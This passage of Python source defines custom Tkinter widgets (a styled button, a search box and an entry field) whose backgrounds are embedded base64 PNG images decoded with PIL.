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'
#img= base64.b64decode(butdef)
img1= base64.b64decode(orangeip)
img2= base64.b64decode(darkip)
img3= base64.b64decode(lightip)
img4= base64.b64decode(longdarkip)
img1= Image.open(io.BytesIO(img1))
img1= img1.resize((x,y), Image.ANTIALIAS)
RImg1= ImageTk.PhotoImage(img1)
img2= Image.open(io.BytesIO(img2))
img2= img2.resize((x,y), Image.ANTIALIAS)
RImg2= ImageTk.PhotoImage(img2)
img3= Image.open(io.BytesIO(img3))
img3= img3.resize((x,y), Image.ANTIALIAS)
RImg3= ImageTk.PhotoImage(img3)
img4= Image.open(io.BytesIO(img4))
img4= img4.resize((120,60),Image.ANTIALIAS)
imga3 = img4.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img4.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img4.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img4= imgror3
RImg4= ImageTk.PhotoImage(img4)
f= self.master['background']
if Blass=="Orange":
self.configure(image= RImg1,border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__op.append( RImg1)
elif Blass=="Dark":
self.configure(image= RImg2,border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__op.append( RImg2)
elif Blass=="Light":
self.configure(image= RImg3,border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__op.append( RImg3)
elif Blass=="Dark-Long":
self.configure(image= RImg4,border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__op.append(RImg4)
self.after(10, self.dff)
class SearchBox(tk.Frame):
__imgs=[]
def __init__(self, master101, **kwargs):
tk.Frame.__init__(self,master101)
search= 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'
self.master= master101
img= base64.b64decode(search)
img= Image.open(io.BytesIO(img))
img= img.resize((260,60), Image.ANTIALIAS)
SImg= ImageTk.PhotoImage(img)
self.__wholeframe= tk.Frame(self, bg=self.master['background'])
self.__wholeframe.grid(row= 0, column= 0)
self.__frame= tk.Label(self.__wholeframe, bg= self.master['background'], image= SImg)
self.__imgs.append(SImg)
self.__frame.grid(row=0,column=0)
self.__entry= tk.Entry(self.__wholeframe, bg= "white", font="Consolas 8", border=0)
self.__entry.grid(row= 0, column= 0)
def insert(self, sta,info):
self.__entry.insert(sta,info )
def get(self):
return self.__entry.get()
#print([bcc])
def bind(self,e1,e2):
self.__entry.bind(e1, e2)
def update(self,e1,e2):
self.__entry.after(e1, e2)
def delete(self,pos,end):
self.__entry.delete(pos, end)
def deleteall(self):
self.__entry.delete(0,END)
class ModEntry(tk.Frame):
__emgs=[]
#color= "#40E0D0"
def ret(self, master, me):
me.configure(bg=self.framecolor)
def ret1(self, master, me):
me.configure(bg=self.borderbg)
def __init__(self,master,**kwargs):
tk.Frame.__init__(self,master)
try:
self.fgcolor= kwargs['fg']
except:
self.fgcolor="black"
try:
self.bgcolor= kwargs['bg']
except:
self.bgcolor="white"
try:
self.bgcolor= kwargs['background']
except:
pass
try:
self.fgcolor= kwargs['foreground']
except:
pass
try:
self.framecolor= kwargs['bdcolor']
except:
self.framecolor='blue'
try:
self.align= kwargs['align']
except:
self.align='left'
try:
self.font= kwargs['font']
except:
self.font="Consolas 8"
try:
self.bd= kwargs['bd']
except:
self.bd=0
try:
self.bd= kwargs['border']
except:
pass
try:
self.cmd= kwargs['cmd']
except:
self.cmd=None
try:
self.cmd= kwargs['command']
except:
pass
try:
self.cur= kwargs['cursor']
except:
pass
try:
self.cur= kwargs['cur']
except:
self.cur='xterm'
try:
self.w= kwargs['w']
except:
pass
try:
self.w= kwargs['width']
except:
self.w=15
try:
self.ex= kwargs['export']
except:
self.ex=1
try:
self.slb= kwargs['selectbackground']
except:
self.slb="#3D3D3D"
try:
self.slb= kwargs['selectbg']
except:
pass
try:
self.slf= kwargs['selectforeground']
except:
self.slf="#1F1F1F"
try:
self.slf= kwargs['selectfg']
except:
pass
try:
self.slbo= kwargs['selectborderwidth']
except:
self.slbo=0
try:
self.slbo= kwargs['selectbd']
except:
pass
try:
self.show= kwargs['show']
except:
self.show=''
try:
self.show= kwargs['code']
except:
pass
try:
self.borderbg= kwargs['borderbackground']
except:
self.borderbg=self.master['background']
try:
self.state= kwargs['state']
except:
self.state=NORMAL
try:
self.state= kwargs['mode']
except:
pass
try:
self.txvar= kwargs['textvariable']
except:
self.txvar=None
try:
self.xsc= kwargs['xscrollcommand']
except:
self.xsc=None
entry=b'iVBORw0KGgoAAAANSUhEUgAABNwAAACICAYAAAA8nPbiAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAcaURPVAAAAAIAAAAAAAAEAAAAACgAAAQAAAAEAAAAkgt2erNvAAAAIXRFWHRDcmVhdGlvbiBUaW1lADIwMjA6MDc6MzAgMjM6MzA6MDZcgIjZAAACp0lEQVR4Xu3BMQEAAADCoPVPbQ0PIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgRA1UngABF3hi6AAAAABJRU5ErkJggg=='
img= base64.b64decode(entry)
img= Image.open(io.BytesIO(img))
img= img.resize((int(self.w*13+2*17.5),60), Image.ANTIALIAS)
EImg= ImageTk.PhotoImage(img)
self.config(bg=self.bgcolor, border= 0)
self.__wholeframe= tk.LabelFrame(self,border= self.bd, background= self.borderbg)
self.__wholeframe.grid(row= 0, column= 0)
self.__wholeframe.bind("<Enter>",lambda master=self.master,me= self.__wholeframe :self.ret(master,me))
self.__wholeframe.bind("<Button-1>", lambda master=self.master,me= self.__wholeframe :self.ret(master,me))
self.__wholeframe.bind("<Leave>", lambda master=self.master,me= self.__wholeframe :self.ret1(master,me))
self.__frame= tk.Label(self.__wholeframe, bg= self.bgcolor, image= EImg)
self.__emgs.append(EImg)
self.__frame.grid(row=0,column=0,padx=1,pady=1)
self.__entry= tk.Entry(self.__wholeframe,state=self.state,xsrcollcommand= self.xsc,textvariable=self.txvar,show=self.show,selectborderwidth= self.slbo,selectbackground= self.slb,selectforeground= self.slf,exportselection= self.ex,cursor= self.cur,command= self.cmd, width= self.w,background= self.bgcolor, font=self.font,insertbackground= self.fgcolor, justify=self.align ,border=0,fg=self.fgcolor)
self.__entry.grid(row= 0, column= 0,padx=1,pady=1)
self.entry = self.__entry
def get(self):
return self.__entry.get()
def ecolor(self, color):
#self.__wholeframe.configure(bg=color)
self.color=color
self.__entry.configure(fg= color)
def bind(self,e1,e2):
self.__entry.bind(e1, e2)
def update(self,e1,e2):
self.__entry.after(e1, e2)
def insert(self,pos,info):
self.__entry.insert(pos, info)
def formatedinsert(self,pos,end,info):
self.__entry.insert(pos, info)
def delete(self,pos,end):
self.__entry.delete(pos, end)
def deleteall(self):
self.__entry.delete(0,END)
def select_adjust(self,index):
self.__entry.select_adjust(index)
def select_clear(self):
self.__entry.select_clear()
def select_from(self,index):
self.__entry.select_from(index)
def select_present(self):
raise AttributeError("select_present is no more present. Please use if_selected")
def if_selected(self):
self.__entry.select_present()
def select_range(self,fir,las):
raise AttributeError("select_range is no more present. Please use select()")
def select(self, fir,las):
self.__entry.select_range(fir, las)
def select_to(self,index):
self.__enrty.select_to(index)
def xview(self, index):
self.__entry.xview(index)
def xview_scroll(self, no, unit):
raise AttributeError("Please Use xsrcollcommand")
def xscrollcommand(self , no, unit):
self.__entry.xview_scroll(no,unit)
def configure(self,**kwargs):
try:
self.fgcolor= kwargs['fg']
self.__entry.config(fg= self.fgcolor)
#self.__frame.config(bg= self.bgcolor)
except:
pass
try:
self.bgcolor= kwargs['background']
self.__entry.config(bg= self.bgcolor)
self.__frame.config(bg= self.bgcolor)
except:
pass
try:
self.fgcolor= kwargs['foreground']
self.__entry.config(fg= self.fgcolor)
#self.__frame.config(bg= self.bgcolor)
except:
pass
try:
self.bgcolor= kwargs['bg']
self.__entry.config(bg= self.bgcolor)
self.__frame.config(bg= self.bgcolor)
except:
pass
try:
